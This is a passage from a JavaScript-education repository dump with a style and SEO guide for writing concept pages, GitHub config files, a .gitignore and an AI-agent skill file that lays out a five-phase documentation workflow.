<Steps> component or │ │ numbered Markdown list │ │ │ │ "X vs Y" Table Comparison table with │ │ clear column headers │ │ │ │ "Types of X" Bulleted list Bullet list under │ │ descriptive H2 │ │ │ │ "[X] examples" Bulleted list or Code examples with │ │ code block brief explanations │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` **Pattern 1: Definition Snippet (40-60 words)** For "what is [concept]" queries: ```mdx ## What is a Closure in JavaScript? A **closure** is a function that retains access to variables from its outer (enclosing) scope, even after that outer function has finished executing. Closures are created every time a function is created in JavaScript, allowing inner functions to "remember" and access their lexical environment. ``` **Why this wins:** - H2 matches search query exactly - Bold keyword in first sentence - 40-60 word complete definition - Explains the "why" not just the "what" **Pattern 2: List Snippet (Steps)** For "how to [action]" queries: ```mdx ## How to Make a Fetch Request in JavaScript <Steps> <Step title="1. Call fetch() with the URL"> The `fetch()` function takes a URL and returns a Promise that resolves to a Response object. </Step> <Step title="2. Check if the response was successful"> Always verify `response.ok` before processing — fetch doesn't throw on HTTP errors. </Step> <Step title="3. Parse the response body"> Use `response.json()` for JSON data, `response.text()` for plain text. </Step> <Step title="4. Handle errors properly"> Wrap everything in try/catch to handle both network and HTTP errors. </Step> </Steps> ``` **Pattern 3: Table Snippet (Comparison)** For "[X] vs [Y]" queries: ```mdx ## == vs === in JavaScript | Aspect | `==` (Loose Equality) | `===` (Strict Equality) | |--------|----------------------|------------------------| | Type coercion | Yes — converts types before comparing | No — types must match | | Speed | Slower (coercion overhead) | Faster (no coercion) | | Predictability | Can produce surprising results | Always predictable | | Recommendation | Avoid in most cases | Use by default | ```javascript // Examples 5 == "5" // true (string coerced to number) 5 === "5" // false (different types) ``` ``` **Pattern 4: List Snippet (Types/Categories)** For "types of [concept]" queries: ```mdx ## Types of Scope in JavaScript JavaScript has three types of scope that determine where variables are accessible: - **Global Scope** — Variables declared outside any function or block; accessible everywhere - **Function Scope** — Variables declared inside a function with `var`; accessible only within that function - **Block Scope** — Variables declared with `let` or `const` inside `{}`; accessible only within that block ``` --- ### Content Structure for SEO How you structure content affects both rankings and user experience. **The Inverted Pyramid:** Put the most important information first. Search engines and users both prefer content that answers questions immediately. ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ THE INVERTED PYRAMID │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ │ │ ┌─────────────────────────────────────┐ │ │ │ ANSWER THE QUESTION │ ← First 100 words │ │ │ Definition + Core Concept │ (most important) │ │ └──────────────────┬──────────────────┘ │ │ │ │ │ ┌────────────────┴────────────────┐ │ │ │ EXPLAIN HOW IT WORKS │ ← Next 300 words │ │ │ Mechanism + Visual Diagram │ (supporting info) │ │ └────────────────┬─────────────────┘ │ │ │ │ │ ┌──────────────────┴──────────────────┐ │ │ │ SHOW PRACTICAL EXAMPLES │ ← Code examples │ │ │ Code + Step-by-step │ (proof it works) │ │ └──────────────────┬──────────────────┘ │ │ │ │ │ ┌──────────────────────┴──────────────────────┐ │ │ │ COVER EDGE CASES │ ← Advanced │ │ │ Common mistakes, gotchas │ (depth) │ │ └──────────────────────┬──────────────────────┘ │ │ │ │ │ ┌──────────────────────────┴──────────────────────────┐ │ │ │ ADDITIONAL RESOURCES │ ← External │ │ │ Related concepts, articles, videos │ (links) │ │ └──────────────────────────────────────────────────────┘ │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` **Scannable Content Patterns:** Google favors content that's easy to scan. Use these elements: | Element | SEO Benefit | When to Use | |---------|-------------|-------------| | Short paragraphs | Reduces bounce rate | Always (2-4 sentences max) | | Bullet lists | Often become featured snippets | Lists of 3+ items | | Numbered lists | "How to" snippet potential | Sequential steps | | Tables | High snippet potential | Comparisons, reference data | | Bold text | Highlights keywords for crawlers | First mention of key terms | | Headings (H2/H3) | Structure signals to Google | Every major topic shift | **Content Length Guidelines:** | Length | Assessment | Action | |--------|------------|--------| | Under 1,000 words | Too thin | Add more depth, examples, edge cases | | 1,000-1,500 words | Minimum viable | Acceptable for simple concepts | | 1,500-2,500 words | Good | Standard for most concept pages | | 2,500-4,000 words | Excellent | Ideal for comprehensive guides | | Over 4,000 words | Evaluate | Consider splitting into multiple pages | **Note:** Length alone doesn't guarantee rankings. Every section must add value — don't pad content. --- ### Internal Linking for SEO Internal links help search engines understand your site structure and distribute page authority. **Topic Cluster Strategy:** Think of concept pages as an interconnected network. Every concept should link to 3-5 related concepts: ``` ┌─────────────────┐ ┌───────│ Promises │───────┐ │ └────────┬────────┘ │ │ │ │ ▼ ▼ ▼ ┌───────────┐ ┌───────────────┐ ┌─────────────┐ │async/await│◄──►│ Event Loop │◄──►│ Callbacks │ └───────────┘ └───────────────┘ └─────────────┘ │ │ │ │ ▼ │ │ ┌───────────────┐ │ └──────►│ Call Stack │◄───────┘ └───────────────┘ ``` **Link Placement Guidelines:** 1. **In Prerequisites (Warning box):** ```mdx <Warning> **Prerequisite:** This guide assumes you understand [Promises](/concepts/promises) and the [Event Loop](/concepts/event-loop). Read those first if you're not comfortable with asynchronous JavaScript. </Warning> ``` 2. **In Body Content (natural context):** ```mdx When the callback finishes, it's added to the task queue — which is managed by the [event loop](/concepts/event-loop). ``` 3. **In Related Concepts Section:** ```mdx <CardGroup cols={2}> <Card title="Promises" icon="handshake" href="/concepts/promises"> async/await is built on top of Promises </Card> <Card title="Event Loop" icon="arrows-spin" href="/concepts/event-loop"> How JavaScript manages async operations </Card> </CardGroup> ``` **Anchor Text Best Practices:** | ❌ Bad Anchor Text | ✓ Good Anchor Text | Why | |-------------------|-------------------|-----| | "click here" | "event loop guide" | Descriptive, includes keyword | | "this article" | "our Promises concept" | Tells Google what page is about | | "here" | "JavaScript closures" | Keywords in anchor text | | "read more" | "understanding the call stack" | Natural, informative | --- ### URL and Slug Best Practices URLs (slugs) are a minor but meaningful ranking factor. **Rules:** 1. **Use lowercase** — `closures` not `Closures` 2. **Use hyphens** — `call-stack` not `call_stack` or `callstack` 3. **Keep it short** — aim for 3-5 words maximum 4. **Include primary keyword** — the concept name 5. **Avoid stop words** — skip "the", "and", "in", "of" unless necessary **Slug Examples:** | Concept | ❌ Avoid | ✓ Use | |---------|---------|-------| | The Event Loop | `the-event-loop` | `event-loop` | | this, call, apply and bind | `this-call-apply-and-bind` | `this-call-apply-bind` | | Scope and Closures | `scope-and-closures` | `scope-and-closures` (acceptable) or `scope-closures` | | DOM and Layout Trees | `dom-and-layout-trees` | `dom` or `dom-layout-trees` | **Note:** For this project, slugs are already set. When creating new pages, follow these conventions. --- ### Opening Paragraph: The SEO Power Move The opening paragraph is prime SEO real estate. It should: 1. Hook the reader with a question they're asking 2. Include the primary keyword naturally 3. Provide a brief definition or answer 4. Set up what they'll learn **Template:** ```mdx [Question hook that matches search intent?] [Maybe another question?] The **[Primary Keyword]** is [brief definition that answers "what is X"]. [One sentence explaining why it matters or what it enables]. ```javascript // Immediately show a simple example ``` [Brief transition to "What you'll learn" box] ``` **Example (Closures):** ```mdx Why do some functions seem to "remember" variables that should have disappeared? How can a callback still access variables from a function that finished running long ago? The answer is **closures** — one of JavaScript's most powerful (and often misunderstood) features. A closure is a function that retains access to its outer scope's variables, even after that outer scope has finished executing. ```javascript function createCounter() { let count = 0 // This variable is "enclosed" by the returned function return function() { count++ return count } } const counter = createCounter() console.log(counter()) // 1 console.log(counter()) // 2 — it remembers! ``` Understanding closures unlocks patterns like private variables, factory functions, and the module pattern that power modern JavaScript. ``` **Why this works for SEO:** - Question hooks match how people search ("why do functions remember") - Bold keyword in first paragraph - Direct definition answers "what is a closure" - Code example demonstrates immediately - Natural setup for learning objectives --- ## Inline Linking Rules (Critical!) ### Always Link to MDN Whenever you introduce a new Web API, method, object, or JavaScript concept, **link to MDN immediately**. This gives readers a path to deeper learning. ```mdx <!-- ✓ CORRECT: Link on first mention --> The **[Fetch API](https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API)** is JavaScript's modern way to make network requests. The **[Response](https://developer.mozilla.org/en-US/docs/Web/API/Response)** object contains everything about the server's reply. Most modern APIs return data in **[JSON](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON)** format. <!-- ❌ WRONG: No links --> The Fetch API is JavaScript's modern way to make network requests. ``` ### Link to Related Concept Pages When mentioning concepts covered in other pages, link to them: ```mdx <!-- ✓ CORRECT: Internal links to related concepts --> If you're not familiar with it, check out our [async/await concept](/concepts/async-await) first. This guide assumes you understand [Promises](/concepts/promises). <!-- ❌ WRONG: No internal links --> If you're not familiar with async/await, you should learn that first. ``` ### Common MDN Link Patterns | Concept | MDN URL Pattern | |---------|-----------------| | Web APIs | `https://developer.mozilla.org/en-US/docs/Web/API/{APIName}` | | JavaScript Objects | `https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/{Object}` | | HTTP | `https://developer.mozilla.org/en-US/docs/Web/HTTP` | | HTTP Methods | `https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods/{METHOD}` | | HTTP Headers | `https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers` | --- ## Code Examples Best Practices ### 1. Start with the Simplest Possible Example ```javascript // ✓ GOOD: Start with the absolute basics // This is how you fetch data in JavaScript const response = await fetch('https://api.example.com/users/1') const user = await response.json() console.log(user.name) // "Alice" ``` ### 2. Use Step-by-Step Comments ```javascript // Step 1: fetch() returns a Promise that resolves to a Response object const responsePromise = fetch('https://api.example.com/users') // Step 2: When the response arrives, we get a Response object responsePromise.then(response => { console.log(response.status) // 200 // Step 3: The body is a stream, we need to parse it return response.json() }) .then(data => { // Step 4: Now we have the actual data console.log(data) }) ``` ### 3. Show Output in Comments ```javascript const greeting = "Hello" console.log(typeof greeting) // "string" const numbers = [1, 2, 3] console.log(numbers.length) // 3 ``` ### 4. Use ❌ and ✓ for Wrong/Correct Patterns ```javascript // ❌ WRONG - This misses HTTP errors! try { const response = await fetch('/api/users/999') const data = await response.json() } catch (error) { // Only catches NETWORK errors, not 404s! } // ✓ CORRECT - Check response.ok try { const response = await fetch('/api/users/999') if (!response.ok) { throw new Error(`HTTP error! Status: ${response.status}`) } const data = await response.json() } catch (error) { // Now catches both network AND HTTP errors } ``` ### 5. Use Meaningful Variable Names ```javascript // ❌ BAD const x = [1, 2, 3] const y = x.map(z => z * 2) // ✓ GOOD const numbers = [1, 2, 3] const doubled = numbers.map(num => num * 2) ``` ### 6. Progress from Simple to Complex ```javascript // Level 1: Basic usage fetch('/api/users') // Level 2: With options fetch('/api/users', { method: 'POST', body: JSON.stringify({ name: 'Alice' }) }) // Level 3: Full real-world pattern async function createUser(userData) { const response = await fetch('/api/users', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(userData) }) if (!response.ok) { throw new Error(`Failed to create user: ${response.status}`) } return response.json() } ``` --- ## Resource Curation Guidelines External resources (articles, videos) are valuable, but must meet quality standards. ### Quality Standards Only include resources that are: 1. **JavaScript-focused** — No resources primarily about other languages (C#, Python, Java, etc.), even if the concepts are similar 2. **Still accessible** — Verify all links work before publishing 3. **High quality** — From reputable sources (MDN, javascript.info, freeCodeCamp, well-known educators) 4. **Up to date** — Avoid outdated resources; check publication dates for time-sensitive topics 5. **Accurate** — Skim the content to verify it doesn't teach anti-patterns ### Writing Resource Descriptions Each resource needs a **specific, engaging 2-sentence description** explaining what makes it unique. Generic descriptions waste the reader's time. ```mdx <!-- ❌ Generic (bad) --> <Card title="JavaScript Promises Tutorial" icon="newspaper" href="..."> Learn about Promises in JavaScript. </Card> <!-- ❌ Generic (bad) --> <Card title="Async/Await Explained" icon="newspaper" href="..."> A comprehensive guide to async/await. </Card> <!-- ✓ Specific (good) --> <Card title="JavaScript Async/Await Tutorial" icon="newspaper" href="https://javascript.info/async-await"> The go-to reference for async/await fundamentals. Includes exercises at the end to test your understanding of rewriting promise chains. </Card> <!-- ✓ Specific (good) --> <Card title="JavaScript Visualized: Promises & Async/Await" icon="newspaper" href="..."> Animated GIFs showing the call stack, microtask queue, and event loop in action. This is how async/await finally "clicked" for thousands of developers. </Card> <!-- ✓ Specific (good) --> <Card title="How to Escape Async/Await Hell" icon="newspaper" href="..."> The pizza-and-drinks ordering example makes parallel vs sequential execution crystal clear. Essential reading once you know the basics. </Card> ``` **Description Formula:** 1. **Sentence 1:** What makes this resource unique OR what it specifically covers 2. **Sentence 2:** Why a reader should click (what they'll gain, who it's best for, what stands out) **Avoid in descriptions:** - "Comprehensive guide to..." (vague) - "Great tutorial on..." (vague) - "Learn all about..." (vague) - "Everything you need to know about..." (cliché) ### Recommended Sources **Articles (Prioritize):** | Source | Why | |--------|-----| | javascript.info | Comprehensive, well-maintained, exercises included | | MDN Web Docs | Official reference, always accurate | | freeCodeCamp | Beginner-friendly, practical tutorials | | dev.to (Lydia Hallie, etc.) | Visual explanations, community favorites | | CSS-Tricks | DOM, browser APIs, visual topics | **Videos (Prioritize):** | Creator | Style | |---------|-------| | Web Dev Simplified | Clear, beginner-friendly, concise | | Fireship | Fast-paced, modern, entertaining | | Traversy Media | Comprehensive crash courses | | Fun Fun Function | Deep-dives with personality | | Wes Bos | Practical, real-world focused | **Avoid:** - Resources in other programming languages (C#, Python, Java) even if concepts overlap - Outdated tutorials (pre-ES6 syntax for modern concepts) - Paywalled content (unless there's a free tier) - Low-quality Medium articles (check engagement and accuracy) - Resources that teach anti-patterns - Videos over 2 hours (link to specific timestamps if valuable) ### Verifying Resources Before including any resource: 1. **Click the link** — Verify it loads and isn't behind a paywall 2. **Skim the content** — Ensure it's accurate and well-written 3. **Check the date** — For time-sensitive topics, prefer recent content 4. **Read comments/reactions** — Community feedback reveals quality issues 5. **Test code examples** — If they include code, verify it works --- ## ASCII Art Diagrams Use ASCII art to visualize concepts. Make them boxed and labeled: ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ THE REQUEST-RESPONSE CYCLE │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ YOU (Browser) KITCHEN (Server) │ │ ┌──────────┐ ┌──────────────┐ │ │ │ │ ──── "I'd like pasta" ────► │ │ │ │ │ :) │ (REQUEST) │ [chef] │ │ │ │ │ │ │ │ │ │ │ ◄──── Here you go! ──────── │ │ │ │ │ │ (RESPONSE) │ │ │ │ └──────────┘ └──────────────┘ │ │ │ │ The waiter (HTTP) is the protocol that makes this exchange work! │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` --- ## Mintlify Components Reference | Component | When to Use | |-----------|-------------| | `<Info>` | "What you'll learn" boxes, Key Takeaways | | `<Warning>` | Common mistakes, gotchas, prerequisites | | `<Tip>` | Pro tips, rules of thumb, best practices | | `<Note>` | Additional context, side notes | | `<AccordionGroup>` | Expandable content, Q&A sections, optional deep-dives | | `<Tabs>` | Comparing different approaches side-by-side | | `<Steps>` | Sequential processes, numbered workflows | | `<CardGroup>` | Resource links (articles, videos, references) | | `<Card>` | Individual resource with icon and link | ### Card Icons Reference | Content Type | Icon | |--------------|------| | MDN/Official Docs | `book` | | Articles/Blog Posts | `newspaper` | | Videos | `video` | | Courses | `graduation-cap` | | Related Concepts | Context-appropriate (`handshake`, `hourglass`, `arrows-spin`, `sitemap`, etc.) | --- ## Quality Checklist Before finalizing a concept page, verify ALL of these: ### Structure - [ ] Opens with engaging questions that hook the reader - [ ] Shows a simple code example immediately after the opening - [ ] Has "What you'll learn" Info box right after the opening - [ ] Major sections are separated by `---` horizontal rules - [ ] Has a real-world analogy with ASCII art diagram - [ ] Has a "Common Mistakes" or "The #1 Mistake" section - [ ] Has a "Key Takeaways" section summarizing 8-10 points - [ ] Has a "Test Your Knowledge" section with 5-6 Q&As - [ ] Ends with Related Concepts, Reference, Articles, Videos in that order ### Linking - [ ] All new Web APIs/methods have inline MDN links on first mention - [ ] All related concepts link to their concept pages (`/concepts/slug`) - [ ] Reference section has multiple MDN links - [ ] 4-6 quality articles with descriptions - [ ] 3-4 quality videos with descriptions ### Code Examples - [ ] First code example is dead simple - [ ] Uses step-by-step comments for complex examples - [ ] Shows output in comments (`// "result"`) - [ ] Uses ❌ and ✓ for wrong/correct patterns - [ ] Uses meaningful variable names - [ ] Progresses from simple to complex ### Content Quality - [ ] Written for someone who might be new to coding - [ ] Prerequisites are noted with Warning component - [ ] No assumptions about prior knowledge without links - [ ] Tables used for quick reference information - [ ] ASCII diagrams for visual concepts ### Language Quality - [ ] Description starts with "Learn" or "Understand" (not "Master") - [ ] No overuse of em dashes (fewer than 15 outside Key Takeaways and structured sections) - [ ] No AI superlatives: "dramatically", "fundamentally", "incredibly", "extremely" - [ ] No stiff phrases: "one of the most important", "essential points", "It should be noted" - [ ] Emphasis patterns vary (not all "Key insight:" or "Best practice:") - [ ] Playful touches are sparse (1-2 per major section maximum) - [ ] No filler words: "basically", "essentially", "actually", "very", "really" - [ ] Sentences are direct (no "In order to", "Due to the fact that") ### Resource Quality - [ ] All article/video links are verified working - [ ] All resources are JavaScript-focused (no C#, Python, Java resources) - [ ] Each resource has a specific 2-sentence description (not generic) - [ ] Resource descriptions explain what makes each unique - [ ] No outdated resources (check dates for time-sensitive topics) - [ ] 4-6 articles from reputable sources - [ ] 3-4 videos from quality creators --- ## Writing Tests When adding code examples, create corresponding tests in `/tests/`: ```javascript // tests/{category}/{concept-name}/{concept-name}.test.js import { describe, it, expect } from 'vitest' describe('Concept Name', () => { describe('Basic Examples', () => { it('should demonstrate the core concept', () => { // Convert console.log examples to expect assertions expect(typeof "hello").toBe("string") }) }) describe('Common Mistakes', () => { it('should show the wrong behavior', () => { // Test the "wrong" example to prove it's actually wrong }) it('should show the correct behavior', () => { // Test the "correct" example }) }) }) ``` --- ## SEO Checklist Verify these elements before publishing any concept page: ### Title & Meta Description - [ ] **Title is 50-60 characters** — check with character counter - [ ] **Title ends with "in JavaScript"** — SEO keyword at end - [ ] **Title has a compelling hook** — tells reader what they'll understand - [ ] **sidebarTitle matches title but without "in JavaScript"** — cleaner navigation - [ ] **Description is 150-160 characters** — don't leave value on the table - [ ] **Description includes primary keyword** in first sentence - [ ] **Description includes 1-2 secondary keywords** naturally - [ ] **Description starts with action word** (Learn, Understand, Discover — avoid "Master") - [ ] **Description promises specific value** — what will they learn? ### Keyword Placement - [ ] **Primary keyword in title** - [ ] **Primary keyword in description** - [ ] **Primary keyword in first paragraph** (within first 100 words) - [ ] **Primary keyword in at least one H2 heading** - [ ] **Secondary keywords in H2/H3 headings** where natural - [ ] **Keywords in "What you'll learn" box items** - [ ] **No keyword stuffing** — content reads naturally ### Content Structure - [ ] **Opens with question hook** matching search intent - [ ] **Shows code example in first 200 words** - [ ] **First paragraph after H2s directly answers** the implied question - [ ] **Content is 1,500+ words** (comprehensive coverage) - [ ] **Short paragraphs** (2-4 sentences maximum) - [ ] **Uses bullet lists** for 3+ related items - [ ] **Uses numbered lists** for sequential processes - [ ] **Uses tables** for comparisons and reference data - [ ] **Key terms bolded** on first mention with MDN links ### Featured Snippet Optimization - [ ] **"What is X" section has 40-60 word definition paragraph** - [ ] **"How to" sections use numbered steps or `<Steps>` component** - [ ] **Comparison sections use tables** with clear headers - [ ] **At least one H2 is phrased as a question** matching search query ### Internal Linking - [ ] **Links to 3-5 related concept pages** in body content - [ ] **Uses descriptive anchor text** (not "click here" or "here") - [ ] **Prerequisites linked in Warning component** at start - [ ] **Related Concepts section has 4 cards** with relevant concepts - [ ] **Links appear in natural context** — not forced ### Technical SEO - [ ] **Slug is lowercase with hyphens** - [ ] **Slug contains primary keyword** - [ ] **Slug is 3-5 words maximum** - [ ] **All external links use proper URLs** (no broken links) - [ ] **MDN links are current** (check they resolve) ================================================ FILE: .github/FUNDING.yml ================================================ # These are supported funding model platforms github: # Replace with up to 4 GitHub Sponsors-enabled usernames e.g., [user1, user2] patreon: # Replace with a single Patreon username open_collective: # Replace with a single Open Collective username ko_fi: # Replace with a single Ko-fi username tidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel custom: https://www.buymeacoffee.com/PtZnDSaEo ================================================ FILE: .github/workflows/tests.yml ================================================ name: Tests on: push: branches: [master, main] pull_request: branches: [master, main] jobs: test: runs-on: ubuntu-latest steps: - name: Checkout repository uses: actions/checkout@v6 - name: Setup Node.js uses: actions/setup-node@v6 with: node-version: 'lts/*' cache: 'npm' - name: Install dependencies run: npm ci - name: Run tests run: npm test ================================================ FILE: .gitignore ================================================ # Logs logs *.log npm-debug.log* yarn-debug.log* yarn-error.log* # Runtime data pids *.pid *.seed *.pid.lock # Directory for instrumented libs generated by jscoverage/JSCover lib-cov # Coverage directory used by tools like istanbul coverage # nyc test coverage .nyc_output # Grunt intermediate storage (http://gruntjs.com/creating-plugins#storing-task-files) .grunt # Bower dependency directory (https://bower.io/) bower_components # node-waf configuration .lock-wscript # Compiled binary addons (https://nodejs.org/api/addons.html) build/Release # Dependency directories node_modules/ jspm_packages/ # TypeScript v1 declaration files typings/ # Optional npm cache directory .npm # Optional eslint cache .eslintcache # Optional REPL history .node_repl_history # Output of 'npm pack' *.tgz # Yarn Integrity file .yarn-integrity # dotenv environment variables file .env # next.js build output .next # webstore IDE created directory .idea ================================================ FILE: .opencode/skill/concept-workflow/SKILL.md ================================================ --- name: concept-workflow description: End-to-end workflow for creating complete JavaScript concept documentation, orchestrating all skills from research to final review --- # Skill: Complete Concept Workflow Use this skill to create a complete, high-quality concept page from start to finish. This skill orchestrates all five specialized skills in the optimal order: 1. **Resource Curation** — Find quality learning resources 2. **Concept Writing** — Write the documentation page 3. **Test Writing** — Create tests for code examples 4. **Fact Checking** — Verify technical accuracy 5. **SEO Review** — Optimize for search visibility ## When to Use - Creating a brand new concept page from scratch - Completely rewriting an existing concept page - When you want a full end-to-end workflow with all quality checks **For partial tasks, use individual skills instead:** - Just adding resources? Use `resource-curator` - Just writing content? Use `write-concept` - Just adding tests? Use `test-writer` - Just verifying accuracy? Use `fact-check` - Just optimizing SEO? Use `seo-review` --- ## Workflow Overview ``` ┌─────────────────────────────────────────────────────────────────────────────┐ │ COMPLETE CONCEPT WORKFLOW │ ├─────────────────────────────────────────────────────────────────────────────┤ │ │ │ INPUT: Concept name (e.g., "hoisting", "event-loop", "promises") │ │ │ │ ┌──────────────────┐ │ │ │ PHASE 1: RESEARCH │ │ │ │ resource-curator │ Find MDN refs, articles, videos │ │ └────────┬─────────┘ │ │ ▼ │ │ ┌──────────────────┐ │ │ │ PHASE 2: WRITE │ │ │ │ write-concept │ Create the documentation page │ │ └────────┬─────────┘ │ │ ▼ │ │ ┌──────────────────┐ │ │ │ PHASE 3: TEST │ │ │ │ test-writer │ Generate tests for all code examples │ │ └────────┬─────────┘ │ │ ▼ │ │ ┌──────────────────┐ │ │ │ PHASE 4: VERIFY │ │ │ │ fact-check │ Verify accuracy, run tests, check links │ │ └────────┬─────────┘ │ │ ▼ │ │ ┌──────────────────┐ │ │ │ PHASE 5: OPTIMIZE│ │ │ │ seo-review │ SEO audit and final optimizations │ │ └────────┬─────────┘ │ │ ▼ │ │ OUTPUT: Complete, tested, verified, SEO-optimized concept page │ │ │ └─────────────────────────────────────────────────────────────────────────────┘ ``` --- ## Phase 1: Resource Curation **Skill:** `resource-curator` **Goal:** Gather high-quality external resources before writing ### What to Do 1. **Identify the concept category** (fundamentals, async, OOP, etc.) 2. **Search for MDN references** — Official documentation 3. **Find quality articles** — Target 4-6 from trusted sources 4. **Find quality videos** — Target 3-4 from trusted creators 5. **Evaluate each resource** — Check quality criteria 6. **Write specific descriptions** — 2 sentences each 7. **Format as Card components** — Ready to paste into the page ### Deliverables - List of 2-4 MDN/reference links with descriptions - List of 4-6 article links with descriptions - List of 3-4 video links with descriptions - Optional: 1-2 courses or books ### Quality Gates Before moving to Phase 2: - [ ] All links verified working (200 response) - [ ] All resources are JavaScript-focused - [ ] Descriptions are specific, not generic - [ ] Mix of beginner and advanced content --- ## Phase 2: Concept Writing **Skill:** `write-concept` **Goal:** Create the full documentation page ### What to Do 1. **Determine the category** for file organization 2. **Create the frontmatter** (title, sidebarTitle, description) 3. **Write the opening hook** — Question that draws readers in 4. **Add opening code example** — Simple example in first 200 words 5. **Write "What you'll learn" box** — 5-7 bullet points 6. **Write main content sections:** - What is [concept]? (with 40-60 word definition for featured snippet) - Real-world analogy - How it works (with diagrams) - Code examples (multiple, progressive complexity) - Common mistakes - Edge cases 7. **Add Key Takeaways** — 8-10 numbered points 8. **Add Test Your Knowledge** — 5-6 Q&A accordions 9. **Add Related Concepts** — 4 Cards linking to related topics 10. **Add Resources** — Paste resources from Phase 1 ### Deliverables - Complete `.mdx` file at `/docs/concepts/{concept-name}.mdx` - File added to `docs.json` navigation (if new) ### Quality Gates Before moving to Phase 3: - [ ] Frontmatter complete (title, sidebarTitle, description) - [ ] Opens with question hook - [ ] Code example in first 200 words - [ ] "What you'll learn" Info box present - [ ] All required sections present - [ ] Resources section complete - [ ] 1,500+ words --- ## Phase 3: Test Writing **Skill:** `test-writer` **Goal:** Create comprehensive tests for all code examples ### What to Do 1. **Scan the concept page** for all code examples 2. **Categorize examples:** - Testable (console.log, return values) - DOM-specific (needs jsdom) - Error examples (toThrow) - Conceptual (skip) 3. **Create test file** at `tests/{category}/{concept}/{concept}.test.js` 4. **Create DOM test file** (if needed) at `tests/{category}/{concept}/{concept}.dom.test.js` 5. **Write tests** for each code example with source line references 6. **Run tests** to verify all pass ### Deliverables - Test file: `tests/{category}/{concept-name}/{concept-name}.test.js` - DOM test file (if applicable): `tests/{category}/{concept-name}/{concept-name}.dom.test.js` - All tests passing ### Quality Gates Before moving to Phase 4: - [ ] All testable code examples have tests - [ ] Source line references in comments - [ ] Tests pass: `npm test -- tests/{category}/{concept}/` - [ ] DOM tests in separate file with jsdom directive --- ## Phase 4: Fact Checking **Skill:** `fact-check` **Goal:** Verify technical accuracy of all content ### What to Do 1. **Verify code examples:** - Run tests: `npm test -- tests/{category}/{concept}/` - Check any untested examples manually - Verify output comments match actual outputs 2. **Verify MDN/spec claims:** - Click all MDN links — verify they work - Compare API descriptions to MDN - Check ECMAScript spec for nuanced claims 3. **Verify external resources:** - Check all article/video links work - Skim content for accuracy - Verify descriptions match content 4. **Audit technical claims:** - Look for "always/never" statements - Verify performance claims - Check for common misconceptions 5. **Generate fact-check report** ### Deliverables - Fact-check report documenting: - Code verification results - Link check results - Any issues found and fixes made ### Quality Gates Before moving to Phase 5: - [ ] All tests passing - [ ] All MDN links valid - [ ] All external resources accessible - [ ] No technical inaccuracies found - [ ] No common misconceptions --- ## Phase 5: SEO Review **Skill:** `seo-review` **Goal:** Optimize for search visibility ### What to Do 1. **Audit title tag:** - 50-60 characters - Primary keyword in first half - Ends with "in JavaScript" - Contains compelling hook 2. **Audit meta description:** - 150-160 characters - Starts with action word (Learn, Understand, Discover) - Contains primary keyword - Promises specific value 3. **Audit keyword placement:** - Keyword in title - Keyword in description - Keyword in first 100 words - Keyword in at least one H2 4. **Audit content structure:** - Question hook opening - Code in first 200 words - "What you'll learn" box - Short paragraphs 5. **Audit featured snippet optimization:** - 40-60 word definition after "What is" H2 - Question-format H2s - Numbered steps for how-to content 6. **Audit internal linking:** - 3-5 related concepts linked - Descriptive anchor text - Related Concepts section complete 7. **Calculate score** and fix any issues ### Deliverables - SEO audit report with score (X/27) - All high-priority fixes implemented ### Quality Gates Before marking complete: - [ ] Score 24+ out of 27 (90%+) - [ ] Title optimized - [ ] Meta description optimized - [ ] Keywords placed naturally - [ ] Featured snippet optimized - [ ] Internal links complete --- ## Complete Workflow Checklist Use this master checklist to track progress through all phases. ```markdown # Concept Workflow: [Concept Name] **Started:** YYYY-MM-DD **Target Category:** {category} **File Path:** `/docs/concepts/{concept-name}.mdx` **Test Path:** `/tests/{category}/{concept-name}/` --- ## Phase 1: Resource Curation - [ ] MDN references found (2-4) - [ ] Articles found (4-6) - [ ] Videos found (3-4) - [ ] All links verified working - [ ] Descriptions written (specific, 2 sentences) - [ ] Resources formatted as Cards **Status:** ⬜ Not Started | 🟡 In Progress | ✅ Complete --- ## Phase 2: Concept Writing - [ ] Frontmatter complete - [ ] Opening hook written - [ ] Opening code example added - [ ] "What you'll learn" box added - [ ] Main content sections written - [ ] Key Takeaways added - [ ] Test Your Knowledge added - [ ] Related Concepts added - [ ] Resources pasted from Phase 1 - [ ] Added to docs.json (if new) **Status:** ⬜ Not Started | 🟡 In Progress | ✅ Complete --- ## Phase 3: Test Writing - [ ] Code examples extracted and categorized - [ ] Test file created - [ ] DOM test file created (if needed) - [ ] All testable examples have tests - [ ] Source line references added - [ ] Tests run and passing **Test Results:** X passing, X failing **Status:** ⬜ Not Started | 🟡 In Progress | ✅ Complete --- ## Phase 4: Fact Checking - [ ] All tests passing - [ ] Code examples verified accurate - [ ] MDN links checked (X/X valid) - [ ] External resources checked (X/X valid) - [ ] Technical claims audited - [ ] No misconceptions found - [ ] Issues fixed **Status:** ⬜ Not Started | 🟡 In Progress | ✅ Complete --- ## Phase 5: SEO Review - [ ] Title tag optimized (50-60 chars) - [ ] Meta description optimized (150-160 chars) - [ ] Keywords placed correctly - [ ] Content structure verified - [ ] Featured snippet optimized - [ ] Internal links complete **SEO Score:** X/27 (X%) **Status:** ⬜ Not Started | 🟡 In Progress | ✅ Complete --- ## Final Status **All Phases Complete:** ⬜ No | ✅ Yes **Ready to Publish:** ⬜ No | ✅ Yes **Completed:** YYYY-MM-DD ``` --- ## Execution Instructions When executing this workflow, follow these steps: ### Step 1: Initialize ```markdown Starting concept workflow for: [CONCEPT NAME] Category: [fundamentals/functions-execution/web-platform/etc.] File: /docs/concepts/[concept-name].mdx Tests: /tests/[category]/[concept-name]/ ``` ### Step 2: Execute Each Phase For each phase: 1. **Announce the phase:** ```markdown ## Phase X: [Phase Name] Using skill: [skill-name] ``` 2. **Load the skill** to get detailed instructions 3. **Execute the phase** following the skill's methodology 4. **Report completion:** ```markdown Phase 